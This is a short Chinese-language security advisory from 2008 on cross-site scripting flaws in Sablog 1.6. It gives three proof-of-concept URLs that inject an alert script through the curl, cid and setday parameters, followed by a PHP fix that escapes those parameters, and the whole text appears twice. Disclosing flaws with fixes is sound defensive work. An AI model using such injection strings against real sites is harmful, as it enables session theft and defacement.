sablog 1.6 多个跨站漏洞

qiuleiyu

Date：2008-03-27
Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&cid=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&setdate=200804&setday=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1

临时解决办法：

在global.php中过滤curl，cid，setday等 $modelink = &#39;&#39;;
if ($action) {
$modelink .= &#39;&action=&#39;.$action;
}
if ($curl) {
$modelink .= &#39;&curl=&#39;.htmlspecialchars($curl);
}
if ($cid) {
$modelink .= &#39;&cid=&#39;.htmlspecialchars($cid);
}
if ($setdate) {
$modelink .= &#39;&setdate=&#39;.htmlspecialchars($setdate);
}
if ($setday) {
$modelink .= &#39;&setday=&#39;.htmlspecialchars($setday);
}
if (intval($_GET[&#39;searchid&#39;])) {
$modelink .= &#39;&searchid=&#39;.htmlspecialchars($_GET[&#39;searchid&#39;]);
}
if (intval($_GET[&#39;userid&#39;])) {
$modelink .= \"&userid=\".htmlspecialchars($_GET[&#39;userid&#39;]);
}
if ($_GET[&#39;item&#39;]) {
$item = urlencode(addslashes($item));
$modelink .= &#39;&item=&#39;.$item;
}

qiuleiyu

Date：2008-03-27
Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&cid=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&setdate=200804&setday=>\"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1

临时解决办法：

在global.php中过滤curl，cid，setday等 $modelink = &#39;&#39;;
if ($action) {
$modelink .= &#39;&action=&#39;.$action;
}
if ($curl) {
$modelink .= &#39;&curl=&#39;.htmlspecialchars($curl);
}
if ($cid) {
$modelink .= &#39;&cid=&#39;.htmlspecialchars($cid);
}
if ($setdate) {
$modelink .= &#39;&setdate=&#39;.htmlspecialchars($setdate);
}
if ($setday) {
$modelink .= &#39;&setday=&#39;.htmlspecialchars($setday);
}
if (intval($_GET[&#39;searchid&#39;])) {
$modelink .= &#39;&searchid=&#39;.htmlspecialchars($_GET[&#39;searchid&#39;]);
}
if (intval($_GET[&#39;userid&#39;])) {
$modelink .= \"&userid=\".htmlspecialchars($_GET[&#39;userid&#39;]);
}
if ($_GET[&#39;item&#39;]) {
$item = urlencode(addslashes($item));
$modelink .= &#39;&item=&#39;.$item;
}